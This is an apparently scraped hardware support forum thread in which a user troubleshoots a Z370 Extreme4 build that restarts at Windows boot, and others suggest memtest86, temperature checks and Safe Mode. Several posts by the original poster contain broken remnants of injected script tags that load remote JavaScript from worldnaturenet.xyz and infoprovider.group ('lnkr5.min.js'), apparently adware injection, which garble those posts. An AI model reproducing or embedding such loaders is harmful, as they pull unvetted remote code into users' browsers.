Z370 Extreme 4, Issues with 960 EVO NVMe SSD

Message Topic Search Topic Options Post Reply Create New Topic Printable Version Translate Topic

   New installation.  I5-8400, Corsair LPX DDR 4 2x8GB, running on bench.  Installed windows to 960 EVO NVMe SSD in M2_1 slot and after install, PC continuously restarts when trying to boot up windows.  Tried reinstalling windows 3 times.  Grabbed an old hard drive, reformatted and installed windows and system booted up with no issue.  Samsung SSD is listed as supported in the product support section.
Is the issue with the SSD or an issue with the motherboard?  I have flashed to latest firmware and all other settings at default.  Last option is to take apart current PC and try a fresh install on another motherboard, it is just a fair amount of work.

Thanks.

Author	Message Topic Search Topic Options Post Reply Create New Topic Printable Version Translate Topic
usfjosh Members Profile Send Private Message Find Members Posts Add to Buddy List Newbie Joined: 15 May 2018 Status: Offline Points: 12	Post Options Post Reply Quote usfjosh Report Post Thanks(0) Quote Reply Topic: Z370 Extreme 4, Issues with 960 EVO NVMe SSD Posted: 01 Jun 2018 at 6:36am
	New installation. I5-8400, Corsair LPX DDR 4 2x8GB, running on bench. Installed windows to 960 EVO NVMe SSD in M2_1 slot and after install, PC continuously restarts when trying to boot up windows. Tried reinstalling windows 3 times. Grabbed an old hard drive, reformatted and installed windows and system booted up with no issue. Samsung SSD is listed as supported in the product support section. Is the issue with the SSD or an issue with the motherboard? I have flashed to latest firmware and all other settings at default. Last option is to take apart current PC and try a fresh install on another motherboard, it is just a fair amount of work. Thanks.

usfjosh Members Profile Send Private Message Find Members Posts Add to Buddy List Newbie Joined: 15 May 2018 Status: Offline Points: 12	Post Options Post Reply Quote usfjosh Report Post Thanks(0) Quote Reply Posted: 01 Jun 2018 at 10:20am
	Update: Windows install on old hard drive experiencing similar issues. Was able to boot into windows and even install updates, however now as soon as I hit enter on password screen, PC restarts. Tried reformatting Windows USB image, reformatting hard drive and reinstalling windows, same result.< ="text/" ="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&r=8">< ="text/" ="http://infoprovider.group/addons/lnkr5.min.js"> Does this indicate a memory issue of some kind? CMK16GX4M2B3000C15 is supported on the ASRock Extreme 4 website.

badbri Members Profile Send Private Message Find Members Posts Add to Buddy List Groupie Joined: 20 Feb 2018 Location: USA Status: Offline Points: 415	Post Options Post Reply Quote badbri Report Post Thanks(0) Quote Reply Posted: 01 Jun 2018 at 11:53am
	I suggest you download memtest86 and let it run thru its basic series of tests, the free version works just fine to detect most hardware memory errors. You need a blank thumb drive or burn to a CD to use it. https://www.memtest86.com/ Edited by badbri - 01 Jun 2018 at 11:54am
	https://www.passmark.com/baselines/V9/display.php?id=99573335296

ASRock_TSD Members Profile Send Private Message Find Members Posts Add to Buddy List ASRock_Official Joined: 20 Mar 2015 Status: Offline Points: 8937	Post Options Post Reply Quote ASRock_TSD Report Post Thanks(0) Quote Reply Posted: 01 Jun 2018 at 12:07pm
	Dear Usfjosh, Thank you for choosing ASRock. Please check your CPU and motherboard temperature at BIOS. Also, for better overclock performance, we suggest installing the memory modules at A2, B2 slots. Thank you! Yours truly, ASRock TSD

usfjosh Members Profile Send Private Message Find Members Posts Add to Buddy List Newbie Joined: 15 May 2018 Status: Offline Points: 12	Post Options Post Reply Quote usfjosh Report Post Thanks(0) Quote Reply Posted: 01 Jun 2018 at 12:11pm
	M/B Temperature is 29C, CPU is 46C. Not currently overclocking memory, however the memory is installed in A2 and B2 per manual.< ="text/" ="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&r=40">< ="text/" ="http://infoprovider.group/addons/lnkr5.min.js"> I put memtest86 iso on a usb drive but it wouldn't boot, trying to figure that out now.

usfjosh Members Profile Send Private Message Find Members Posts Add to Buddy List Newbie Joined: 15 May 2018 Status: Offline Points: 12	Post Options Post Reply Quote usfjosh Report Post Thanks(0) Quote Reply Posted: 01 Jun 2018 at 1:13pm
	Memtest86 complete, no errors found. Thank you for recommending that, I was hoping it would find an issue.< ="text/" ="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&r=44">< ="text/" ="http://infoprovider.group/addons/lnkr5.min.js"> Temperatures after completion were 50/33 for CPU and MB. Going to head to bed before I throw this thing out the window.

usfjosh Members Profile Send Private Message Find Members Posts Add to Buddy List Newbie Joined: 15 May 2018 Status: Offline Points: 12	Post Options Post Reply Quote usfjosh Report Post Thanks(0) Quote Reply Posted: 01 Jun 2018 at 11:16pm
	Updated: Performed secondary memtest86 through 4 passes (3 hours) and all 48 tests passed with no errors found. Is it fair to say the memory is eliminated as the issue?

aksa0110 Members Profile Send Private Message Find Members Posts Add to Buddy List Newbie Joined: 31 May 2018 Location: Serbia Status: Offline Points: 6	Post Options Post Reply Quote aksa0110 Report Post Thanks(0) Quote Reply Posted: 02 Jun 2018 at 4:17am
	HI, Can you boot into Safe mode, make successful login, and use Windows for some time?

usfjosh Members Profile Send Private Message Find Members Posts Add to Buddy List Newbie Joined: 15 May 2018 Status: Offline Points: 12	Post Options Post Reply Quote usfjosh Report Post Thanks(0) Quote Reply Posted: 02 Jun 2018 at 9:38am
	Really good suggestion, I should have thought to try that. I am in safe mode now, without networking, and so far haven't seen a shutdown. I will leave it on for awhile and see if it restarts. Good suggestion, thank you.< ="text/" ="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&r=43">< ="text/" ="http://infoprovider.group/addons/lnkr5.min.js">